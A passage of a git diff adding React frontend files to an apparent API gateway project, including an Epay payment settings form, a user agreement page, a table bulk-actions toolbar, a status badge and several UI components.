+                  onChange={(value) =>
+                    setInputs({
+                      ...inputs,
+                      DataExportInterval: String(value),
+                    })
+                  }
+                />
+              </Col>
+              <Col xs={24} sm={12} md={8} lg={8} xl={8}>
+                <Form.Select
+                  label={t('数据看板默认时间粒度')}
+                  optionList={optionsDataExportDefaultTime}
+                  field={'DataExportDefaultTime'}
+                  extraText={t('仅修改展示粒度，统计精确到小时')}
+                  placeholder={t('数据看板默认时间粒度')}
+                  style={{ width: 180 }}
+                  onChange={(value) =>
+                    setInputs({
+                      ...inputs,
+                      DataExportDefaultTime: String(value),
+                    })
+                  }
+                />
+              </Col>
+            </Row>
+            <Row>
+              <Button size='default' onClick={onSubmit}>
+                {t('保存数据看板设置')}
+              </Button>
+            </Row>
+          </Form.Section>
+        </Form>
+      </Spin>
+    </>
+  );
+}
diff --git a/_all-in-one-upload/new-api/web/classic/src/pages/Setting/Payment/SettingsPaymentGateway.jsx b/_all-in-one-upload/new-api/web/classic/src/pages/Setting/Payment/SettingsPaymentGateway.jsx
new file mode 100644
index 0000000..d0398a2
--- /dev/null
+++ b/_all-in-one-upload/new-api/web/classic/src/pages/Setting/Payment/SettingsPaymentGateway.jsx
@@ -0,0 +1,185 @@
+/*
+Copyright (C) 2025 QuantumNous
+
+This program is free software: you can redistribute it and/or modify
+it under the terms of the GNU Affero General Public License as
+published by the Free Software Foundation, either version 3 of the
+License, or (at your option) any later version.
+
+This program is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+GNU Affero General Public License for more details.
+
+You should have received a copy of the GNU Affero General Public License
+along with this program. If not, see <https://www.gnu.org/licenses/>.
+
+For commercial licensing, please contact support@quantumnous.com
+*/
+
+import React, { useEffect, useState, useRef } from 'react';
+import { Banner, Button, Form, Row, Col, Spin } from '@douyinfe/semi-ui';
+import {
+  API,
+  removeTrailingSlash,
+  showError,
+  showSuccess,
+} from '../../../helpers';
+import { useTranslation } from 'react-i18next';
+import { Info } from 'lucide-react';
+
+export default function SettingsPaymentGateway(props) {
+  const { t } = useTranslation();
+  const sectionTitle = props.hideSectionTitle ? undefined : t('易支付设置');
+  const [loading, setLoading] = useState(false);
+  const [inputs, setInputs] = useState({
+    PayAddress: '',
+    EpayId: '',
+    EpayKey: '',
+    Price: 7.3,
+    MinTopUp: 1,
+  });
+  const formApiRef = useRef(null);
+
+  useEffect(() => {
+    if (props.options && formApiRef.current) {
+      const currentInputs = {
+        PayAddress: props.options.PayAddress || '',
+        EpayId: props.options.EpayId || '',
+        EpayKey: props.options.EpayKey || '',
+        Price:
+          props.options.Price !== undefined
+            ? parseFloat(props.options.Price)
+            : 7.3,
+        MinTopUp:
+          props.options.MinTopUp !== undefined
+            ? parseFloat(props.options.MinTopUp)
+            : 1,
+      };
+
+      setInputs(currentInputs);
+      formApiRef.current.setValues(currentInputs);
+    }
+  }, [props.options]);
+
+  const handleFormChange = (values) => {
+    setInputs(values);
+  };
+
+  const submitPayAddress = async () => {
+    if (props.options.ServerAddress === '') {
+      showError(t('请先填写服务器地址'));
+      return;
+    }
+
+    setLoading(true);
+    try {
+      const options = [
+        { key: 'PayAddress', value: removeTrailingSlash(inputs.PayAddress) },
+      ];
+
+      if (inputs.EpayId !== '') {
+        options.push({ key: 'EpayId', value: inputs.EpayId });
+      }
+      if (inputs.EpayKey !== undefined && inputs.EpayKey !== '') {
+        options.push({ key: 'EpayKey', value: inputs.EpayKey });
+      }
+      if (inputs.Price !== '') {
+        options.push({ key: 'Price', value: inputs.Price.toString() });
+      }
+      if (inputs.MinTopUp !== '') {
+        options.push({ key: 'MinTopUp', value: inputs.MinTopUp.toString() });
+      }
+
+      const requestQueue = options.map((opt) =>
+        API.put('/api/option/', {
+          key: opt.key,
+          value: opt.value,
+        }),
+      );
+
+      const results = await Promise.all(requestQueue);
+
+      const errorResults = results.filter((res) => !res.data.success);
+      if (errorResults.length > 0) {
+        errorResults.forEach((res) => {
+          showError(res.data.message);
+        });
+      } else {
+        showSuccess(t('更新成功'));
+        props.refresh && props.refresh();
+      }
+    } catch (error) {
+      showError(t('更新失败'));
+    }
+    setLoading(false);
+  };
+
+  return (
+    <Spin spinning={loading}>
+      <Form
+        initValues={inputs}
+        onValueChange={handleFormChange}
+        getFormApi={(api) => (formApiRef.current = api)}
+      >
+        <Form.Section text={sectionTitle}>
+          <Banner
+            type='info'
+            icon={<Info size={16} />}
+            description={t(
+              '当前仅支持易支付接口，回调地址请在通用设置中配置。',
+            )}
+            style={{ marginBottom: 16 }}
+          />
+          <Row gutter={{ xs: 8, sm: 16, md: 24, lg: 24, xl: 24, xxl: 24 }}>
+            <Col xs={24} sm={24} md={8} lg={8} xl={8}>
+              <Form.Input
+                field='PayAddress'
+                label={t('支付地址')}
+                placeholder={t('例如：https://yourdomain.com')}
+              />
+            </Col>
+            <Col xs={24} sm={24} md={8} lg={8} xl={8}>
+              <Form.Input
+                field='EpayId'
+                label={t('商户 ID')}
+                placeholder={t('例如：0001')}
+              />
+            </Col>
+            <Col xs={24} sm={24} md={8} lg={8} xl={8}>
+              <Form.Input
+                field='EpayKey'
+                label={t('API 密钥')}
+                placeholder={t('敏感信息不会发送到前端显示')}
+                type='password'
+              />
+            </Col>
+          </Row>
+          <Row
+            gutter={{ xs: 8, sm: 16, md: 24, lg: 24, xl: 24, xxl: 24 }}
+            style={{ marginTop: 16 }}
+          >
+            <Col xs={24} sm={24} md={12} lg={12} xl={12}>
+              <Form.InputNumber
+                field='Price'
+                precision={2}
+                label={t('充值价格（x元/美金）')}
+                placeholder={t('例如：7，就是7元/美金')}
+              />
+            </Col>
+            <Col xs={24} sm={24} md={12} lg={12} xl={12}>
+              <Form.InputNumber
+                field='MinTopUp'
+                label={t('最低充值美元数量')}
+                placeholder={t('例如：2，就是最低充值2$')}
+              />
+            </Col>
+          </Row>
+          <Button onClick={submitPayAddress} style={{ marginTop: 16 }}>
+            {t('更新易支付设置')}
+          </Button>
+        </Form.Section>
+      </Form>
+    </Spin>
+  );
+}
diff --git a/_all-in-one-upload/new-api/web/classic/src/pages/UserAgreement/index.jsx b/_all-in-one-upload/new-api/web/classic/src/pages/UserAgreement/index.jsx
new file mode 100644
index 0000000..cc8816a
--- /dev/null
+++ b/_all-in-one-upload/new-api/web/classic/src/pages/UserAgreement/index.jsx
@@ -0,0 +1,37 @@
+/*
+Copyright (C) 2025 QuantumNous
+
+This program is free software: you can redistribute it and/or modify
+it under the terms of the GNU Affero General Public License as
+published by the Free Software Foundation, either version 3 of the
+License, or (at your option) any later version.
+
+This program is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+GNU Affero General Public License for more details.
+
+You should have received a copy of the GNU Affero General Public License
+along with this program. If not, see <https://www.gnu.org/licenses/>.
+
+For commercial licensing, please contact support@quantumnous.com
+*/
+
+import React from 'react';
+import { useTranslation } from 'react-i18next';
+import DocumentRenderer from '../../components/common/DocumentRenderer';
+
+const UserAgreement = () => {
+  const { t } = useTranslation();
+
+  return (
+    <DocumentRenderer
+      apiEndpoint='/api/user-agreement'
+      title={t('用户协议')}
+      cacheKey='user_agreement'
+      emptyMessage={t('加载用户协议内容失败...')}
+    />
+  );
+};
+
+export default UserAgreement;
diff --git a/_all-in-one-upload/new-api/web/default/src/components/data-table/bulk-actions.tsx b/_all-in-one-upload/new-api/web/default/src/components/data-table/bulk-actions.tsx
new file mode 100644
index 0000000..3f53741
--- /dev/null
+++ b/_all-in-one-upload/new-api/web/default/src/components/data-table/bulk-actions.tsx
@@ -0,0 +1,212 @@
+import { useState, useEffect, useRef } from 'react'
+import { type Table } from '@tanstack/react-table'
+import { X } from 'lucide-react'
+import { useTranslation } from 'react-i18next'
+import { cn } from '@/lib/utils'
+import { Badge } from '@/components/ui/badge'
+import { Button } from '@/components/ui/button'
+import { Separator } from '@/components/ui/separator'
+import {
+  Tooltip,
+  TooltipContent,
+  TooltipTrigger,
+} from '@/components/ui/tooltip'
+
+type DataTableBulkActionsProps<TData> = {
+  table: Table<TData>
+  entityName: string
+  children: React.ReactNode
+}
+
+/**
+ * A modular toolbar for displaying bulk actions when table rows are selected.
+ *
+ * @template TData The type of data in the table.
+ * @param {object} props The component props.
+ * @param {Table<TData>} props.table The react-table instance.
+ * @param {string} props.entityName The name of the entity being acted upon (e.g., "task", "user").
+ * @param {React.ReactNode} props.children The action buttons to be rendered inside the toolbar.
+ * @returns {React.ReactNode | null} The rendered component or null if no rows are selected.
+ */
+export function DataTableBulkActions<TData>({
+  table,
+  entityName,
+  children,
+}: DataTableBulkActionsProps<TData>): React.ReactNode | null {
+  const { t } = useTranslation()
+  const selectedRows = table.getFilteredSelectedRowModel().rows
+  const selectedCount = selectedRows.length
+  const toolbarRef = useRef<HTMLDivElement>(null)
+  const [announcement, setAnnouncement] = useState('')
+
+  // Announce selection changes to screen readers
+  useEffect(() => {
+    if (selectedCount > 0) {
+      const message = `${selectedCount} ${entityName}${selectedCount > 1 ? 's' : ''} selected. Bulk actions toolbar is available.`
+      // eslint-disable-next-line react-hooks/set-state-in-effect
+      setAnnouncement(message)
+
+      // Clear announcement after a delay
+      const timer = setTimeout(() => setAnnouncement(''), 3000)
+      return () => clearTimeout(timer)
+    }
+  }, [selectedCount, entityName])
+
+  const handleClearSelection = () => {
+    table.resetRowSelection()
+  }
+
+  const handleKeyDown = (event: React.KeyboardEvent) => {
+    const buttons = toolbarRef.current?.querySelectorAll('button')
+    if (!buttons) return
+
+    const currentIndex = Array.from(buttons).findIndex(
+      (button) => button === document.activeElement
+    )
+
+    switch (event.key) {
+      case 'ArrowRight': {
+        event.preventDefault()
+        const nextIndex = (currentIndex + 1) % buttons.length
+        buttons[nextIndex]?.focus()
+        break
+      }
+      case 'ArrowLeft': {
+        event.preventDefault()
+        const prevIndex =
+          currentIndex === 0 ? buttons.length - 1 : currentIndex - 1
+        buttons[prevIndex]?.focus()
+        break
+      }
+      case 'Home':
+        event.preventDefault()
+        buttons[0]?.focus()
+        break
+      case 'End':
+        event.preventDefault()
+        buttons[buttons.length - 1]?.focus()
+        break
+      case 'Escape': {
+        // Check if the Escape key came from a dropdown trigger or content
+        // We can't check dropdown state because Radix UI closes it before our handler runs
+        const target = event.target as HTMLElement
+        const activeElement = document.activeElement as HTMLElement
+
+        // Check if the event target or currently focused element is a dropdown trigger
+        const isFromDropdownTrigger =
+          target?.getAttribute('data-slot') === 'dropdown-menu-trigger' ||
+          activeElement?.getAttribute('data-slot') ===
+            'dropdown-menu-trigger' ||
+          target?.closest('[data-slot="dropdown-menu-trigger"]') ||
+          activeElement?.closest('[data-slot="dropdown-menu-trigger"]')
+
+        // Check if the focused element is inside dropdown content (which is portaled)
+        const isFromDropdownContent =
+          activeElement?.closest('[data-slot="dropdown-menu-content"]') ||
+          target?.closest('[data-slot="dropdown-menu-content"]')
+
+        if (isFromDropdownTrigger || isFromDropdownContent) {
+          // Escape was meant for the dropdown - don't clear selection
+          return
+        }
+
+        // Escape was meant for the toolbar - clear selection
+        event.preventDefault()
+        handleClearSelection()
+        break
+      }
+    }
+  }
+
+  if (selectedCount === 0) {
+    return null
+  }
+
+  return (
+    <>
+      {/* Live region for screen reader announcements */}
+      <div
+        aria-live='polite'
+        aria-atomic='true'
+        className='sr-only'
+        role='status'
+      >
+        {announcement}
+      </div>
+
+      <div
+        ref={toolbarRef}
+        role='toolbar'
+        aria-label={`Bulk actions for ${selectedCount} selected ${entityName}${selectedCount > 1 ? 's' : ''}`}
+        aria-describedby='bulk-actions-description'
+        tabIndex={-1}
+        onKeyDown={handleKeyDown}
+        className={cn(
+          'fixed bottom-6 left-1/2 z-50 -translate-x-1/2 rounded-xl',
+          'transition-all delay-100 duration-300 ease-out hover:scale-105',
+          'focus-visible:ring-ring/50 focus-visible:ring-2 focus-visible:outline-none'
+        )}
+      >
+        <div
+          className={cn(
+            'p-2 shadow-xl',
+            'rounded-xl border',
+            'bg-background/95 supports-[backdrop-filter]:bg-background/60 backdrop-blur-lg',
+            'flex items-center gap-x-2'
+          )}
+        >
+          <Tooltip>
+            <TooltipTrigger asChild>
+              <Button
+                variant='outline'
+                size='icon'
+                onClick={handleClearSelection}
+                className='size-6 rounded-full'
+                aria-label={t('Clear selection')}
+                title={t('Clear selection (Escape)')}
+              >
+                <X />
+                <span className='sr-only'>{t('Clear selection')}</span>
+              </Button>
+            </TooltipTrigger>
+            <TooltipContent>
+              <p>{t('Clear selection (Escape)')}</p>
+            </TooltipContent>
+          </Tooltip>
+
+          <Separator
+            className='h-5'
+            orientation='vertical'
+            aria-hidden='true'
+          />
+
+          <div
+            className='flex items-center gap-x-1 text-sm'
+            id='bulk-actions-description'
+          >
+            <Badge
+              variant='default'
+              className='min-w-8 rounded-lg'
+              aria-label={`${selectedCount} selected`}
+            >
+              {selectedCount}
+            </Badge>{' '}
+            <span className='hidden sm:inline'>
+              {entityName}
+              {selectedCount > 1 ? 's' : ''}
+            </span>{' '}
+            {t('selected')}
+          </div>
+
+          <Separator
+            className='h-5'
+            orientation='vertical'
+            aria-hidden='true'
+          />
+
+          {children}
+        </div>
+      </div>
+    </>
+  )
+}
diff --git a/_all-in-one-upload/new-api/web/default/src/components/status-badge.tsx b/_all-in-one-upload/new-api/web/default/src/components/status-badge.tsx
new file mode 100644
index 0000000..d638030
--- /dev/null
+++ b/_all-in-one-upload/new-api/web/default/src/components/status-badge.tsx
@@ -0,0 +1,174 @@
+/* eslint-disable react-refresh/only-export-components */
+import * as React from 'react'
+import { type LucideIcon } from 'lucide-react'
+import { stringToColor } from '@/lib/colors'
+import { cn } from '@/lib/utils'
+import { useCopyToClipboard } from '@/hooks/use-copy-to-clipboard'
+
+export const dotColorMap = {
+  success: 'bg-emerald-500',
+  warning: 'bg-amber-500',
+  danger: 'bg-rose-500',
+  info: 'bg-sky-500',
+  neutral: 'bg-slate-400',
+  purple: 'bg-purple-500',
+  amber: 'bg-amber-500',
+  blue: 'bg-blue-500',
+  cyan: 'bg-cyan-500',
+  green: 'bg-green-500',
+  grey: 'bg-gray-500',
+  indigo: 'bg-indigo-500',
+  'light-blue': 'bg-sky-500',
+  'light-green': 'bg-green-500',
+  lime: 'bg-lime-500',
+  orange: 'bg-orange-500',
+  pink: 'bg-pink-500',
+  red: 'bg-red-500',
+  teal: 'bg-teal-500',
+  violet: 'bg-violet-500',
+  yellow: 'bg-yellow-500',
+} as const
+
+export const textColorMap = {
+  success: 'text-emerald-700 dark:text-emerald-400',
+  warning: 'text-amber-700 dark:text-amber-400',
+  danger: 'text-rose-700 dark:text-rose-400',
+  info: 'text-sky-700 dark:text-sky-400',
+  neutral: 'text-muted-foreground',
+  purple: 'text-purple-700 dark:text-purple-400',
+  amber: 'text-amber-700 dark:text-amber-400',
+  blue: 'text-blue-700 dark:text-blue-400',
+  cyan: 'text-cyan-700 dark:text-cyan-400',
+  green: 'text-green-700 dark:text-green-400',
+  grey: 'text-muted-foreground',
+  indigo: 'text-indigo-700 dark:text-indigo-400',
+  'light-blue': 'text-sky-700 dark:text-sky-400',
+  'light-green': 'text-green-600 dark:text-green-400',
+  lime: 'text-lime-700 dark:text-lime-400',
+  orange: 'text-orange-700 dark:text-orange-400',
+  pink: 'text-pink-700 dark:text-pink-400',
+  red: 'text-red-700 dark:text-red-400',
+  teal: 'text-teal-700 dark:text-teal-400',
+  violet: 'text-violet-700 dark:text-violet-400',
+  yellow: 'text-yellow-700 dark:text-yellow-400',
+} as const
+
+export type StatusVariant = keyof typeof dotColorMap
+
+const sizeMap = {
+  sm: 'text-xs gap-1.5',
+  md: 'text-xs gap-1.5',
+  lg: 'text-sm gap-2',
+} as const
+
+export interface StatusBadgeProps extends Omit<
+  React.HTMLAttributes<HTMLSpanElement>,
+  'children'
+> {
+  label?: string
+  children?: React.ReactNode
+  icon?: LucideIcon
+  pulse?: boolean
+  /** When false, hides the leading dot */
+  showDot?: boolean
+  variant?: StatusVariant | null
+  size?: 'sm' | 'md' | 'lg' | null
+  /** @deprecated No longer applicable in flat design */
+  rounded?: 'full' | 'md' | 'sm' | 'lg'
+  copyable?: boolean
+  copyText?: string
+  autoColor?: string
+}
+
+export function StatusBadge({
+  label,
+  children,
+  icon: Icon,
+  variant,
+  size = 'sm',
+  pulse = false,
+  showDot = true,
+  rounded: _rounded,
+  copyable = true,
+  copyText,
+  autoColor,
+  className,
+  onClick,
+  ...props
+}: StatusBadgeProps) {
+  const { copyToClipboard } = useCopyToClipboard()
+
+  const computedVariant: StatusVariant = autoColor
+    ? (stringToColor(autoColor) as StatusVariant)
+    : (variant ?? 'neutral')
+
+  const handleClick = (e: React.MouseEvent<HTMLSpanElement>) => {
+    if (copyable) {
+      e.stopPropagation()
+      copyToClipboard(copyText || label || '')
+    }
+    onClick?.(e)
+  }
+
+  const content = children ?? (label ? <span className='truncate'>{label}</span> : null)
+
+  return (
+    <span
+      className={cn(
+        'inline-flex w-fit shrink-0 items-center font-medium whitespace-nowrap',
+        sizeMap[size ?? 'sm'],
+        textColorMap[computedVariant],
+        pulse && 'animate-pulse',
+        copyable &&
+          'cursor-pointer transition-opacity hover:opacity-70 active:scale-95',
+        className
+      )}
+      onClick={handleClick}
+      title={copyable ? `Click to copy: ${copyText || label || ''}` : undefined}
+      {...props}
+    >
+      {showDot && (
+        <span
+          className={cn(
+            'inline-block size-1.5 shrink-0 rounded-full',
+            dotColorMap[computedVariant]
+          )}
+          aria-hidden='true'
+        />
+      )}
+      {Icon && <Icon className='size-3 shrink-0' />}
+      {content}
+    </span>
+  )
+}
+
+export const statusPresets = {
+  active: {
+    variant: 'success' as const,
+    label: 'Active',
+    showDot: true,
+  },
+  inactive: {
+    variant: 'neutral' as const,
+    label: 'Inactive',
+    showDot: true,
+  },
+  invited: {
+    variant: 'info' as const,
+    label: 'Invited',
+    showDot: true,
+  },
+  suspended: {
+    variant: 'danger' as const,
+    label: 'Suspended',
+    showDot: true,
+  },
+  pending: {
+    variant: 'warning' as const,
+    label: 'Pending',
+    showDot: true,
+    pulse: true,
+  },
+} as const
+
+export type StatusPreset = keyof typeof statusPresets
diff --git a/_all-in-one-upload/new-api/web/default/src/components/ui/accordion.tsx b/_all-in-one-upload/new-api/web/default/src/components/ui/accordion.tsx
new file mode 100644
index 0000000..0ac76ce
--- /dev/null
+++ b/_all-in-one-upload/new-api/web/default/src/components/ui/accordion.tsx
@@ -0,0 +1,65 @@
+'use client'
+
+import * as React from 'react'
+import * as AccordionPrimitive from '@radix-ui/react-accordion'
+import { ChevronDownIcon } from 'lucide-react'
+import { cn } from '@/lib/utils'
+
+function Accordion({
+  ...props
+}: React.ComponentProps<typeof AccordionPrimitive.Root>) {
+  return <AccordionPrimitive.Root data-slot='accordion' {...props} />
+}
+
+function AccordionItem({
+  className,
+  ...props
+}: React.ComponentProps<typeof AccordionPrimitive.Item>) {
+  return (
+    <AccordionPrimitive.Item
+      data-slot='accordion-item'
+      className={cn('border-b last:border-b-0', className)}
+      {...props}
+    />
+  )
+}
+
+function AccordionTrigger({
+  className,
+  children,
+  ...props
+}: React.ComponentProps<typeof AccordionPrimitive.Trigger>) {
+  return (
+    <AccordionPrimitive.Header className='flex'>
+      <AccordionPrimitive.Trigger
+        data-slot='accordion-trigger'
+        className={cn(
+          'focus-visible:border-ring focus-visible:ring-ring/50 flex flex-1 items-start justify-between gap-4 rounded-md py-4 text-left text-sm font-medium transition-all outline-none hover:underline focus-visible:ring-[3px] disabled:pointer-events-none disabled:opacity-50 [&[data-state=open]>svg]:rotate-180',
+          className
+        )}
+        {...props}
+      >
+        {children}
+        <ChevronDownIcon className='text-muted-foreground pointer-events-none size-4 shrink-0 translate-y-0.5 transition-transform duration-200' />
+      </AccordionPrimitive.Trigger>
+    </AccordionPrimitive.Header>
+  )
+}
+
+function AccordionContent({
+  className,
+  children,
+  ...props
+}: React.ComponentProps<typeof AccordionPrimitive.Content>) {
+  return (
+    <AccordionPrimitive.Content
+      data-slot='accordion-content'
+      className='data-[state=closed]:animate-accordion-up data-[state=open]:animate-accordion-down overflow-hidden text-sm'
+      {...props}
+    >
+      <div className={cn('pt-0 pb-4', className)}>{children}</div>
+    </AccordionPrimitive.Content>
+  )
+}
+
+export { Accordion, AccordionItem, AccordionTrigger, AccordionContent }
diff --git a/_all-in-one-upload/new-api/web/default/src/components/ui/drawer.tsx b/_all-in-one-upload/new-api/web/default/src/components/ui/drawer.tsx
new file mode 100644
index 0000000..532b30a
--- /dev/null
+++ b/_all-in-one-upload/new-api/web/default/src/components/ui/drawer.tsx
@@ -0,0 +1,132 @@
+import * as React from 'react'
+import { Drawer as DrawerPrimitive } from 'vaul'
+import { cn } from '@/lib/utils'
+
+function Drawer({
+  ...props
+}: React.ComponentProps<typeof DrawerPrimitive.Root>) {
+  return <DrawerPrimitive.Root data-slot='drawer' {...props} />
+}
+
+function DrawerTrigger({
+  ...props
+}: React.ComponentProps<typeof DrawerPrimitive.Trigger>) {
+  return <DrawerPrimitive.Trigger data-slot='drawer-trigger' {...props} />
+}
+
+function DrawerPortal({
+  ...props
+}: React.ComponentProps<typeof DrawerPrimitive.Portal>) {
+  return <DrawerPrimitive.Portal data-slot='drawer-portal' {...props} />
+}
+
+function DrawerClose({
+  ...props
+}: React.ComponentProps<typeof DrawerPrimitive.Close>) {
+  return <DrawerPrimitive.Close data-slot='drawer-close' {...props} />
+}
+
+function DrawerOverlay({
+  className,
+  ...props
+}: React.ComponentProps<typeof DrawerPrimitive.Overlay>) {
+  return (
+    <DrawerPrimitive.Overlay
+      data-slot='drawer-overlay'
+      className={cn(
+        'data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0 fixed inset-0 z-50 bg-black/50',
+        className
+      )}
+      {...props}
+    />
+  )
+}
+
+function DrawerContent({
+  className,
+  children,
+  ...props
+}: React.ComponentProps<typeof DrawerPrimitive.Content>) {
+  return (
+    <DrawerPortal data-slot='drawer-portal'>
+      <DrawerOverlay />
+      <DrawerPrimitive.Content
+        data-slot='drawer-content'
+        className={cn(
+          'group/drawer-content bg-background fixed z-50 flex h-auto flex-col',
+          'data-[vaul-drawer-direction=top]:inset-x-0 data-[vaul-drawer-direction=top]:top-0 data-[vaul-drawer-direction=top]:mb-24 data-[vaul-drawer-direction=top]:max-h-[80vh] data-[vaul-drawer-direction=top]:rounded-b-lg data-[vaul-drawer-direction=top]:border-b',
+          'data-[vaul-drawer-direction=bottom]:inset-x-0 data-[vaul-drawer-direction=bottom]:bottom-0 data-[vaul-drawer-direction=bottom]:mt-24 data-[vaul-drawer-direction=bottom]:max-h-[80vh] data-[vaul-drawer-direction=bottom]:rounded-t-lg data-[vaul-drawer-direction=bottom]:border-t',
+          'data-[vaul-drawer-direction=right]:inset-y-0 data-[vaul-drawer-direction=right]:right-0 data-[vaul-drawer-direction=right]:w-3/4 data-[vaul-drawer-direction=right]:border-l data-[vaul-drawer-direction=right]:sm:max-w-sm',
+          'data-[vaul-drawer-direction=left]:inset-y-0 data-[vaul-drawer-direction=left]:left-0 data-[vaul-drawer-direction=left]:w-3/4 data-[vaul-drawer-direction=left]:border-r data-[vaul-drawer-direction=left]:sm:max-w-sm',
+          className
+        )}
+        {...props}
+      >
+        <div className='bg-muted mx-auto mt-4 hidden h-2 w-[100px] shrink-0 rounded-full group-data-[vaul-drawer-direction=bottom]/drawer-content:block' />
+        {children}
+      </DrawerPrimitive.Content>
+    </DrawerPortal>
+  )
+}
+
+function DrawerHeader({ className, ...props }: React.ComponentProps<'div'>) {
+  return (
+    <div
+      data-slot='drawer-header'
+      className={cn(
+        'flex flex-col gap-0.5 p-4 group-data-[vaul-drawer-direction=bottom]/drawer-content:text-center group-data-[vaul-drawer-direction=top]/drawer-content:text-center md:gap-1.5 md:text-left',
+        className
+      )}
+      {...props}
+    />
+  )
+}
+
+function DrawerFooter({ className, ...props }: React.ComponentProps<'div'>) {
+  return (
+    <div
+      data-slot='drawer-footer'
+      className={cn('mt-auto flex flex-col gap-2 p-4', className)}
+      {...props}
+    />
+  )
+}
+
+function DrawerTitle({
+  className,
+  ...props
+}: React.ComponentProps<typeof DrawerPrimitive.Title>) {
+  return (
+    <DrawerPrimitive.Title
+      data-slot='drawer-title'
+      className={cn('text-foreground font-semibold', className)}
+      {...props}
+    />
+  )
+}
+
+function DrawerDescription({
+  className,
+  ...props
+}: React.ComponentProps<typeof DrawerPrimitive.Description>) {
+  return (
+    <DrawerPrimitive.Description
+      data-slot='drawer-description'
+      className={cn('text-muted-foreground text-sm', className)}
+      {...props}
+    />
+  )
+}
+
+export {
+  Drawer,
+  DrawerPortal,
+  DrawerOverlay,
+  DrawerTrigger,
+  DrawerClose,
+  DrawerContent,
+  DrawerHeader,
+  DrawerFooter,
+  DrawerTitle,
+  DrawerDescription,
+}
diff --git a/_all-in-one-upload/new-api/web/default/src/components/ui/input-group.tsx b/_all-in-one-upload/new-api/web/default/src/components/ui/input-group.tsx
new file mode 100644
index 0000000..a6f9cf8
--- /dev/null
+++ b/_all-in-one-upload/new-api/web/default/src/components/ui/input-group.tsx
@@ -0,0 +1,169 @@
+'use client'
+
+import * as React from 'react'
+import { cva, type VariantProps } from 'class-variance-authority'
+import { cn } from '@/lib/utils'
+import { Button } from '@/components/ui/button'
+import { Input } from '@/components/ui/input'
+import { Textarea } from '@/components/ui/textarea'
+
+function InputGroup({ className, ...props }: React.ComponentProps<'div'>) {
+  return (
+    <div
+      data-slot='input-group'
+      role='group'
+      className={cn(
+        'group/input-group border-input dark:bg-input/30 relative flex w-full items-center rounded-md border shadow-xs transition-[color,box-shadow] outline-none',
+        'h-9 min-w-0 has-[>textarea]:h-auto',
+
+        // Variants based on alignment.
+        'has-[>[data-align=inline-start]]:[&>input]:pl-2',
+        'has-[>[data-align=inline-end]]:[&>input]:pr-2',
+        'has-[>[data-align=block-start]]:h-auto has-[>[data-align=block-start]]:flex-col has-[>[data-align=block-start]]:[&>input]:pb-3',
+        'has-[>[data-align=block-end]]:h-auto has-[>[data-align=block-end]]:flex-col has-[>[data-align=block-end]]:[&>input]:pt-3',
+
+        // Focus state.
+        'has-[[data-slot=input-group-control]:focus-visible]:border-ring has-[[data-slot=input-group-control]:focus-visible]:ring-ring/50 has-[[data-slot=input-group-control]:focus-visible]:ring-[3px]',
+
+        // Error state.
+        'has-[[data-slot][aria-invalid=true]]:ring-destructive/20 has-[[data-slot][aria-invalid=true]]:border-destructive dark:has-[[data-slot][aria-invalid=true]]:ring-destructive/40',
+
+        className
+      )}
+      {...props}
+    />
+  )
+}
+
+const inputGroupAddonVariants = cva(
+  "text-muted-foreground flex h-auto cursor-text items-center justify-center gap-2 py-1.5 text-sm font-medium select-none [&>svg:not([class*='size-'])]:size-4 [&>kbd]:rounded-[calc(var(--radius)-5px)] group-data-[disabled=true]/input-group:opacity-50",
+  {
+    variants: {
+      align: {
+        'inline-start':
+          'order-first pl-3 has-[>button]:ml-[-0.45rem] has-[>kbd]:ml-[-0.35rem]',
+        'inline-end':
+          'order-last pr-3 has-[>button]:mr-[-0.45rem] has-[>kbd]:mr-[-0.35rem]',
+        'block-start':
+          'order-first w-full justify-start px-3 pt-3 [.border-b]:pb-3 group-has-[>input]/input-group:pt-2.5',
+        'block-end':
+          'order-last w-full justify-start px-3 pb-3 [.border-t]:pt-3 group-has-[>input]/input-group:pb-2.5',
+      },
+    },
+    defaultVariants: {
+      align: 'inline-start',
+    },
+  }
+)
+
+function InputGroupAddon({
+  className,
+  align = 'inline-start',
+  ...props
+}: React.ComponentProps<'div'> & VariantProps<typeof inputGroupAddonVariants>) {
+  return (
+    <div
+      role='group'
+      data-slot='input-group-addon'
+      data-align={align}
+      className={cn(inputGroupAddonVariants({ align }), className)}
+      onClick={(e) => {
+        if ((e.target as HTMLElement).closest('button')) {
+          return
+        }
+        e.currentTarget.parentElement?.querySelector('input')?.focus()
+      }}
+      {...props}
+    />
+  )
+}
+
+const inputGroupButtonVariants = cva(
+  'text-sm shadow-none flex gap-2 items-center',
+  {
+    variants: {
+      size: {
+        xs: "h-6 gap-1 px-2 rounded-[calc(var(--radius)-5px)] [&>svg:not([class*='size-'])]:size-3.5 has-[>svg]:px-2",
+        sm: 'h-8 px-2.5 gap-1.5 rounded-md has-[>svg]:px-2.5',
+        'icon-xs':
+          'size-6 rounded-[calc(var(--radius)-5px)] p-0 has-[>svg]:p-0',
+        'icon-sm': 'size-8 p-0 has-[>svg]:p-0',
+      },
+    },
+    defaultVariants: {
+      size: 'xs',
+    },
+  }
+)
+
+function InputGroupButton({
+  className,
+  type = 'button',
+  variant = 'ghost',
+  size = 'xs',
+  ...props
+}: Omit<React.ComponentProps<typeof Button>, 'size'> &
+  VariantProps<typeof inputGroupButtonVariants>) {
+  return (
+    <Button
+      type={type}
+      data-size={size}
+      variant={variant}
+      className={cn(inputGroupButtonVariants({ size }), className)}
+      {...props}
+    />
+  )
+}
+
+function InputGroupText({ className, ...props }: React.ComponentProps<'span'>) {
+  return (
+    <span
+      className={cn(
+        "text-muted-foreground flex items-center gap-2 text-sm [&_svg]:pointer-events-none [&_svg:not([class*='size-'])]:size-4",
+        className
+      )}
+      {...props}
+    />
+  )
+}
+
+function InputGroupInput({
+  className,
+  ...props
+}: React.ComponentProps<'input'>) {
+  return (
+    <Input
+      data-slot='input-group-control'
+      className={cn(
+        'flex-1 rounded-none border-0 bg-transparent shadow-none focus-visible:ring-0 dark:bg-transparent',
+        className
+      )}
+      {...props}
+    />
+  )
+}
+
+function InputGroupTextarea({
+  className,
+  ...props
+}: React.ComponentProps<'textarea'>) {
+  return (
+    <Textarea
